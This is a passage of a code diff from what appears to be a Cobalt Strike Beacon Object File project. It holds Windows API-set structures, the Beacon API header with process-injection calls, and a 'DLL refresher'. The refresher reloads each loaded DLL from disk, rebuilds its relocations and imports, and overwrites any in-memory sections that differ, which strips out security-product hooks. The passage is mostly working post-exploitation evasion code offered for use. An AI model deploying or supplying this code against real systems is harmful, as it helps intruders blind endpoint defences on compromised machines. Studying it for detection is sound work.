} API_SET_NAMESPACE_HASH_ENTRY_V6, *PAPI_SET_NAMESPACE_HASH_ENTRY_V6;
|
||||
|
||||
typedef struct _API_SET_NAMESPACE_ENTRY_V6
|
||||
{
|
||||
ULONG Flags;
|
||||
ULONG NameOffset;
|
||||
ULONG Size;
|
||||
ULONG NameLength;
|
||||
ULONG DataOffset;
|
||||
ULONG Count;
|
||||
} API_SET_NAMESPACE_ENTRY_V6, *PAPI_SET_NAMESPACE_ENTRY_V6;
|
||||
|
||||
typedef struct _API_SET_NAMESPACE_ARRAY_V6
|
||||
{
|
||||
ULONG Version;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
ULONG Count;
|
||||
ULONG DataOffset;
|
||||
ULONG HashOffset;
|
||||
ULONG Multiplier;
|
||||
API_SET_NAMESPACE_ENTRY_V6 Array[ANYSIZE_ARRAY];
|
||||
} API_SET_NAMESPACE_ARRAY_V6, *PAPI_SET_NAMESPACE_ARRAY_V6;
|
||||
|
||||
// Windows 8.1
|
||||
typedef struct _API_SET_VALUE_ENTRY_V4
|
||||
{
|
||||
ULONG Flags;
|
||||
ULONG NameOffset;
|
||||
ULONG NameLength;
|
||||
ULONG ValueOffset;
|
||||
ULONG ValueLength;
|
||||
} API_SET_VALUE_ENTRY_V4, *PAPI_SET_VALUE_ENTRY_V4;
|
||||
|
||||
typedef struct _API_SET_VALUE_ARRAY_V4
|
||||
{
|
||||
ULONG Flags;
|
||||
ULONG Count;
|
||||
API_SET_VALUE_ENTRY_V4 Array[ANYSIZE_ARRAY];
|
||||
} API_SET_VALUE_ARRAY_V4, *PAPI_SET_VALUE_ARRAY_V4;
|
||||
|
||||
typedef struct _API_SET_NAMESPACE_ENTRY_V4
|
||||
{
|
||||
ULONG Flags;
|
||||
ULONG NameOffset;
|
||||
ULONG NameLength;
|
||||
ULONG AliasOffset;
|
||||
ULONG AliasLength;
|
||||
ULONG DataOffset;
|
||||
} API_SET_NAMESPACE_ENTRY_V4, *PAPI_SET_NAMESPACE_ENTRY_V4;
|
||||
|
||||
typedef struct _API_SET_NAMESPACE_ARRAY_V4
|
||||
{
|
||||
ULONG Version;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
ULONG Count;
|
||||
API_SET_NAMESPACE_ENTRY_V4 Array[ANYSIZE_ARRAY];
|
||||
} API_SET_NAMESPACE_ARRAY_V4, *PAPI_SET_NAMESPACE_ARRAY_V4;
|
||||
|
||||
// Windows 7/8
|
||||
typedef struct _API_SET_VALUE_ENTRY_V2
|
||||
{
|
||||
ULONG NameOffset;
|
||||
ULONG NameLength;
|
||||
ULONG ValueOffset;
|
||||
ULONG ValueLength;
|
||||
} API_SET_VALUE_ENTRY_V2, *PAPI_SET_VALUE_ENTRY_V2;
|
||||
|
||||
typedef struct _API_SET_VALUE_ARRAY_V2
|
||||
{
|
||||
ULONG Count;
|
||||
API_SET_VALUE_ENTRY_V2 Array[ANYSIZE_ARRAY];
|
||||
} API_SET_VALUE_ARRAY_V2, *PAPI_SET_VALUE_ARRAY_V2;
|
||||
|
||||
typedef struct _API_SET_NAMESPACE_ENTRY_V2
|
||||
{
|
||||
ULONG NameOffset;
|
||||
ULONG NameLength;
|
||||
ULONG DataOffset;
|
||||
} API_SET_NAMESPACE_ENTRY_V2, *PAPI_SET_NAMESPACE_ENTRY_V2;
|
||||
|
||||
typedef struct _API_SET_NAMESPACE_ARRAY_V2
|
||||
{
|
||||
ULONG Version;
|
||||
ULONG Count;
|
||||
API_SET_NAMESPACE_ENTRY_V2 Array[ANYSIZE_ARRAY];
|
||||
} API_SET_NAMESPACE_ARRAY_V2, *PAPI_SET_NAMESPACE_ARRAY_V2;
|
||||
|
||||
PWCHAR GetRedirectedName(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
|
||||
PWCHAR GetRedirectedName_V6(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
|
||||
PWCHAR GetRedirectedName_V4(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
|
||||
PWCHAR GetRedirectedName_V2(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
|
||||
|
||||
#endif // _APISETMAP_H_
|
||||
Executable
+62
@@ -0,0 +1,62 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Cobalt Strike 4.1.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
Executable
+516
@@ -0,0 +1,516 @@
|
||||
#include "refresh.h"
|
||||
#include "apisetmap.h"
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "unhook.h"
|
||||
#include "beacon.h"
|
||||
|
||||
void RefreshPE(void * buffer)
|
||||
{
|
||||
HMODULE hModule;
|
||||
PWSTR wszFullDllName;
|
||||
PWSTR wszBaseDllName;
|
||||
ULONG_PTR pDllBase;
|
||||
|
||||
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
|
||||
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
|
||||
|
||||
dprintf("[REFRESH] Running DLLRefresher");
|
||||
|
||||
pLdteHead = GetInMemoryOrderModuleList();
|
||||
pLdteCurrent = pLdteHead;
|
||||
|
||||
do {
|
||||
if (pLdteCurrent->FullDllName.Length > 2)
|
||||
{
|
||||
wszFullDllName = pLdteCurrent->FullDllName.pBuffer;
|
||||
wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer;
|
||||
pDllBase = (ULONG_PTR)pLdteCurrent->DllBase;
|
||||
|
||||
dprintf("[REFRESH] Refreshing DLL: %S", wszFullDllName);
|
||||
|
||||
hModule = CustomLoadLibrary(wszFullDllName, wszBaseDllName, pDllBase);
|
||||
|
||||
if (hModule)
|
||||
{
|
||||
ScanAndFixModule(buffer, (PCHAR)hModule, (PCHAR)pDllBase, wszBaseDllName);
|
||||
KERNEL32$VirtualFree(hModule, 0, MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
|
||||
} while (pLdteCurrent != pLdteHead);
|
||||
}
|
||||
|
||||
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase)
|
||||
{
|
||||
// File handles
|
||||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||||
HANDLE hMap = NULL;
|
||||
PCHAR pFile = NULL;
|
||||
|
||||
// PE headers
|
||||
PIMAGE_DOS_HEADER pDosHeader;
|
||||
PIMAGE_NT_HEADERS pNtHeader;
|
||||
PIMAGE_SECTION_HEADER pSectionHeader;
|
||||
|
||||
// Library
|
||||
PCHAR pLibraryAddr = NULL;
|
||||
DWORD dwIdx;
|
||||
|
||||
// Relocation
|
||||
PIMAGE_DATA_DIRECTORY pDataDir;
|
||||
PIMAGE_BASE_RELOCATION pBaseReloc;
|
||||
ULONG_PTR pReloc;
|
||||
DWORD dwNumRelocs;
|
||||
ULONG_PTR pInitialImageBase;
|
||||
PIMAGE_RELOC pImageReloc;
|
||||
|
||||
// Import
|
||||
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
|
||||
PCHAR szDllName;
|
||||
SIZE_T stDllName;
|
||||
PWSTR wszDllName = NULL;
|
||||
PWCHAR wsRedir = NULL;
|
||||
PWSTR wszRedirName = NULL;
|
||||
SIZE_T stRedirName;
|
||||
SIZE_T stSize;
|
||||
|
||||
HMODULE hModule;
|
||||
PIMAGE_THUNK_DATA pThunkData;
|
||||
FARPROC* pIatEntry;
|
||||
|
||||
// clr.dll hotpatches itself at runtime for performance reasons, so skip it
|
||||
if (wcscmp(L"clr.dll", wszBaseDllName) == 0)
|
||||
goto cleanup;
|
||||
|
||||
dprintf("[REFRESH] Opening file: %S", wszFullDllName);
|
||||
|
||||
// ----
|
||||
// Step 1: Map the file into memory
|
||||
// ----
|
||||
|
||||
hFile = KERNEL32$CreateFileW(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
goto cleanup;
|
||||
|
||||
hMap = KERNEL32$CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
|
||||
if (hMap == NULL)
|
||||
goto cleanup;
|
||||
|
||||
pFile = (PCHAR)KERNEL32$MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
|
||||
if (pFile == NULL)
|
||||
goto cleanup;
|
||||
|
||||
// ----
|
||||
// Step 2: Parse the file headers and load it into memory
|
||||
// ----
|
||||
pDosHeader = (PIMAGE_DOS_HEADER)pFile;
|
||||
pNtHeader = (PIMAGE_NT_HEADERS)(pFile + pDosHeader->e_lfanew);
|
||||
|
||||
// allocate memory to copy DLL into
|
||||
dprintf("[REFRESH] Allocating memory for library");
|
||||
pLibraryAddr = (PCHAR)KERNEL32$VirtualAlloc(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
// copy header
|
||||
dprintf("[REFRESH] Copying PE header into memory");
|
||||
__movsb((PBYTE)pLibraryAddr, (PBYTE)pFile, pNtHeader->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
// copy sections
|
||||
dprintf("[REFRESH] Copying PE sections into memory");
|
||||
pSectionHeader = (PIMAGE_SECTION_HEADER)(pFile + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
|
||||
for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
|
||||
{
|
||||
__movsb((PBYTE)(pLibraryAddr + pSectionHeader[dwIdx].VirtualAddress),
|
||||
(PBYTE)(pFile + pSectionHeader[dwIdx].PointerToRawData),
|
||||
pSectionHeader[dwIdx].SizeOfRawData);
|
||||
}
|
||||
|
||||
// update our pointers to the loaded image
|
||||
pDosHeader = (PIMAGE_DOS_HEADER)pLibraryAddr;
|
||||
pNtHeader = (PIMAGE_NT_HEADERS)(pLibraryAddr + pDosHeader->e_lfanew);
|
||||
|
||||
// ----
|
||||
// Step 3: Calculate relocations
|
||||
// ----
|
||||
dprintf("[REFRESH] Calculating file relocations");
|
||||
|
||||
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
pInitialImageBase = pNtHeader->OptionalHeader.ImageBase;
|
||||
// set the ImageBase to the already loaded module's base
|
||||
pNtHeader->OptionalHeader.ImageBase = pDllBase;
|
||||
|
||||
// check if their are any relocations present
|
||||
if (pDataDir->Size)
|
||||
{
|
||||
// calculate the address of the first IMAGE_BASE_RELOCATION entry
|
||||
pBaseReloc = (PIMAGE_BASE_RELOCATION)(pLibraryAddr + pDataDir->VirtualAddress);
|
||||
|
||||
// iterate through each relocation entry
|
||||
while ((PCHAR)pBaseReloc < (pLibraryAddr + pDataDir->VirtualAddress + pDataDir->Size) && pBaseReloc->SizeOfBlock)
|
||||
{
|
||||
// the VA for this relocation block
|
||||
pReloc = (ULONG_PTR)(pLibraryAddr + pBaseReloc->VirtualAddress);
|
||||
|
||||
// number of entries in this relocation block
|
||||
dwNumRelocs = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
||||
|
||||
// first entry in the current relocation block
|
||||
pImageReloc = (PIMAGE_RELOC)((PCHAR)pBaseReloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
|
||||
// iterate through each entry in the relocation block
|
||||
while (dwNumRelocs--)
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we subtract the initial ImageBase and add in the original dll base
|
||||
if (pImageReloc->type == IMAGE_REL_BASED_DIR64)
|
||||
{
|
||||
*(ULONG_PTR *)(pReloc + pImageReloc->offset) -= pInitialImageBase;
|
||||
*(ULONG_PTR *)(pReloc + pImageReloc->offset) += pDllBase;
|
||||
}
|
||||
else if (pImageReloc->type == IMAGE_REL_BASED_HIGHLOW)
|
||||
{
|
||||
*(DWORD *)(pReloc + pImageReloc->offset) -= (DWORD)pInitialImageBase;
|
||||
*(DWORD *)(pReloc + pImageReloc->offset) += (DWORD)pDllBase;
|
||||
}
|
||||
else if (pImageReloc->type == IMAGE_REL_BASED_HIGH)
|
||||
{
|
||||
*(WORD *)(pReloc + pImageReloc->offset) -= HIWORD(pInitialImageBase);
|
||||
*(WORD *)(pReloc + pImageReloc->offset) += HIWORD(pDllBase);
|
||||
}
|
||||
else if (pImageReloc->type == IMAGE_REL_BASED_LOW)
|
||||
{
|
||||
*(WORD *)(pReloc + pImageReloc->offset) -= LOWORD(pInitialImageBase);
|
||||
*(WORD *)(pReloc + pImageReloc->offset) += LOWORD(pDllBase);
|
||||
}
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
pImageReloc = (PIMAGE_RELOC)((PCHAR)pImageReloc + sizeof(IMAGE_RELOC));
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
pBaseReloc = (PIMAGE_BASE_RELOCATION)((PCHAR)pBaseReloc + pBaseReloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
// ----
|
||||
// Step 4: Update import table
|
||||
// ----
|
||||
dprintf("[REFRESH] Resolving Import Address Table (IAT) ");
|
||||
|
||||
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
if (pDataDir->Size)
|
||||
{
|
||||
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pLibraryAddr + pDataDir->VirtualAddress);
|
||||
|
||||
while (pImportDesc->Characteristics)
|
||||
{
|
||||
hModule = NULL;
|
||||
wszDllName = NULL;
|
||||
szDllName = (PCHAR)(pLibraryAddr + pImportDesc->Name);
|
||||
stDllName = strnlen(szDllName, MAX_PATH);
|
||||
wszDllName = (PWSTR)calloc(stDllName + 1, sizeof(WCHAR));
|
||||
|
||||
if (wszDllName == NULL)
|
||||
goto next_import;
|
||||
|
||||
mbstowcs_s(&stSize, wszDllName, stDllName + 1, szDllName, stDllName);
|
||||
|
||||
dprintf("[REFRESH] Loading library: %S from %s", wszDllName, szDllName);
|
||||
|
||||
// If the DLL starts with api- or ext-, resolve the redirected name and load it
|
||||
if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
|
||||
{
|
||||
// wsRedir is not null terminated
|
||||
wsRedir = GetRedirectedName(wszBaseDllName, wszDllName, &stRedirName);
|
||||
if (wsRedir)
|
||||
{
|
||||
// Free the original wszDllName and allocate a new buffer for the redirected dll name
|
||||
free(wszDllName);
|
||||
wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR));
|
||||
if (wszDllName == NULL)
|
||||
goto next_import;
|
||||
|
||||
__movsb((PBYTE)wszDllName, (PBYTE)wsRedir, stRedirName * sizeof(WCHAR));
|
||||
dprintf("[REFRESH] Redirected library: %S", wszDllName);
|
||||
}
|
||||
}
|
||||
|
||||
// Load the module
|
||||
hModule = CustomGetModuleHandleW(wszDllName);
|
||||
|
||||
// Ignore libraries that fail to load
|
||||
if (hModule == NULL)
|
||||
goto next_import;
|
||||
|
||||
if (pImportDesc->OriginalFirstThunk)
|
||||
pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->OriginalFirstThunk);
|
||||
else
|
||||
pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->FirstThunk);
|
||||
|
||||
pIatEntry = (FARPROC*)(pLibraryAddr + pImportDesc->FirstThunk);
|
||||
|
||||
// loop through each thunk and resolve the import
|
||||
for(; DEREF(pThunkData); pThunkData++, pIatEntry++)
|
||||
{
|
||||
if (IMAGE_SNAP_BY_ORDINAL(pThunkData->u1.Ordinal))
|
||||
*pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)IMAGE_ORDINAL(pThunkData->u1.Ordinal), wszDllName);
|
||||
else
|
||||
*pIatEntry = CustomGetProcAddressEx(hModule, ((PIMAGE_IMPORT_BY_NAME)(pLibraryAddr + DEREF(pThunkData)))->Name, wszDllName);
|
||||
}
|
||||
|
||||
next_import:
|
||||
if (wszDllName != NULL)
|
||||
{
|
||||
free(wszDllName);
|
||||
wszDllName = NULL;
|
||||
}
|
||||
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
cleanup:
|
||||
if (pFile != NULL)
|
||||
KERNEL32$UnmapViewOfFile(pFile);
|
||||
if (hMap != NULL)
|
||||
KERNEL32$CloseHandle(hMap);
|
||||
if (hFile != INVALID_HANDLE_VALUE)
|
||||
KERNEL32$CloseHandle(hFile);
|
||||
|
||||
return (HMODULE) pLibraryAddr;
|
||||
}
|
||||
|
||||
HMODULE CustomGetModuleHandleW(const PWSTR wszModule)
|
||||
{
|
||||
HMODULE hModule = NULL;
|
||||
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
|
||||
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
|
||||
|
||||
dprintf("[REFRESH] Searching for loaded module: %S", wszModule);
|
||||
|
||||
pLdteCurrent = pLdteHead = GetInMemoryOrderModuleList();
|
||||
|
||||
do {
|
||||
if (pLdteCurrent->FullDllName.Length > 2 &&
|
||||
_wcsnicmp(wszModule, pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length / 2) == 0)
|
||||
{
|
||||
return ((HMODULE)pLdteCurrent->DllBase);
|
||||
}
|
||||
pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
|
||||
} while (pLdteCurrent != pLdteHead);
|
||||
|
||||
return KERNEL32$LoadLibraryW(wszModule);
|
||||
}
|
||||
|
||||
VOID ScanAndFixModule(void * buffer, PCHAR pKnown, PCHAR pSuspect, PWCHAR wszBaseDllName)
|
||||
{
|
||||
// PE headers
|
||||
PIMAGE_DOS_HEADER pDosHeader;
|
||||
PIMAGE_NT_HEADERS pNtHeader;
|
||||
PIMAGE_SECTION_HEADER pSectionHeader;
|
||||
|
||||
DWORD dwIdx;
|
||||
|
||||
dprintf("[REFRESH] Scanning module: %S", wszBaseDllName);
|
||||
|
||||
pDosHeader = (PIMAGE_DOS_HEADER)pKnown;
|
||||
pNtHeader = (PIMAGE_NT_HEADERS)(pKnown + pDosHeader->e_lfanew);
|
||||
|
||||
// Scan PE header
|
||||
ScanAndFixSection(buffer, wszBaseDllName, "Header", pKnown, pSuspect, pNtHeader->OptionalHeader.SizeOfHeaders);
|
||||
|
||||
// Scan each section
|
||||
pSectionHeader = (PIMAGE_SECTION_HEADER)(pKnown + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
|
||||
for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
|
||||
{
|
||||
if (pSectionHeader[dwIdx].Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
continue;
|
||||
|
||||
if (!((wcscmp(wszBaseDllName, L"clr.dll") == 0 && strcmp(pSectionHeader[dwIdx].Name, ".text") == 0)))
|
||||
{
|
||||
ScanAndFixSection(buffer, wszBaseDllName, (PCHAR)pSectionHeader[dwIdx].Name, pKnown + pSectionHeader[dwIdx].VirtualAddress,
|
||||
pSuspect + pSectionHeader[dwIdx].VirtualAddress, pSectionHeader[dwIdx].Misc.VirtualSize);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID ScanAndFixSection(void * buffer, PWCHAR dll, PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength)
|
||||
{
|
||||
DWORD ddOldProtect;
|
||||
|
||||
if (memcmp(pKnown, pSuspect, stLength) != 0)
|
||||
{
|
||||
BeaconFormatPrintf((formatp *)buffer, "%-20S <%s>\n", dll, szSectionName);
|
||||
dprintf("[REFRESH] Found modification in: %s", szSectionName);
|
||||
|
||||
if (!KERNEL32$VirtualProtect(pSuspect, stLength, PAGE_EXECUTE_READWRITE, &ddOldProtect))
|
||||
return;
|
||||
|
||||
dprintf("[REFRESH] Copying known good section into memory.");
|
||||
__movsb((PBYTE)pSuspect, (PBYTE)pKnown, stLength);
|
||||
|
||||
if (!KERNEL32$VirtualProtect(pSuspect, stLength, ddOldProtect, &ddOldProtect))
|
||||
dprintf("[REFRESH] Unable to reset memory permissions");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// This code is modified from Stephen Fewer's GetProcAddress implementation
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule)
|
||||
{
|
||||
UINT_PTR uiLibraryAddress = 0;
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
UINT_PTR uiFuncVA = 0;
|
||||
PCHAR cpExportedFunctionName;
|
||||
PCHAR szFwdDesc;
|
||||
PCHAR szRedirFunc;
|
||||
PWSTR wszDllName;
|
||||
SIZE_T stDllName;
|
||||
PWCHAR wsRedir;
|
||||
PWSTR wszRedirName = NULL;
|
||||
SIZE_T stRedirName;
|
||||
|
||||
HMODULE hFwdModule;
|
||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
|
||||
FARPROC fpResult = NULL;
|
||||
DWORD dwCounter;
|
||||
|
||||
if (hModule == NULL)
|
||||
return NULL;
|
||||
|
||||
// a module handle is really its base address
|
||||
uiLibraryAddress = (UINT_PTR)hModule;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
|
||||
|
||||
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// test if we are importing by name or by ordinal...
|
||||
#pragma warning(suppress: 4311)
|
||||
if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
|
||||
{
|
||||
// import by ordinal...
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
#pragma warning(suppress: 4311)
|
||||
uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
|
||||
|
||||
// resolve the address for this imported function
|
||||
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
|
||||
}
|
||||
else
|
||||
{
|
||||
// import by name...
|
||||
dwCounter = pExportDirectory->NumberOfNames;
|
||||
while (dwCounter--)
|
||||
{
|
||||
cpExportedFunctionName = (PCHAR)(uiLibraryAddress + DEREF_32(uiNameArray));
|
||||
|
||||
// test if we have a match...
|
||||
if (strcmp(cpExportedFunctionName, lpProcName) == 0)
|
||||
{
|
||||
// use the functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
uiFuncVA = DEREF_32(uiAddressArray);
|
||||
|
||||
// check for redirected exports
|
||||
if (pDataDirectory->VirtualAddress <= uiFuncVA && uiFuncVA < (pDataDirectory->VirtualAddress + pDataDirectory->Size))
|
||||
{
|
||||
szFwdDesc = (PCHAR)(uiLibraryAddress + uiFuncVA);
|
||||
|
||||
// Find the first character after "."
|
||||
szRedirFunc = strstr(szFwdDesc, ".") + 1;
|
||||
stDllName = (SIZE_T)(szRedirFunc - szFwdDesc);
|
||||
|
||||
// Allocate enough space to append "dll"
|
||||
wszDllName = (PWSTR)calloc(stDllName + 3 + 1, sizeof(WCHAR));
|
||||
if (wszDllName == NULL)
|
||||
break;
|
||||
|
||||
mbstowcs_s(NULL, wszDllName, stDllName + 1, szFwdDesc, stDllName);
|
||||
__movsb((PBYTE)(wszDllName + stDllName), (PBYTE)(L"dll"), 3 * sizeof(WCHAR));
|
||||
|
||||
// check for a redirected module name
|
||||
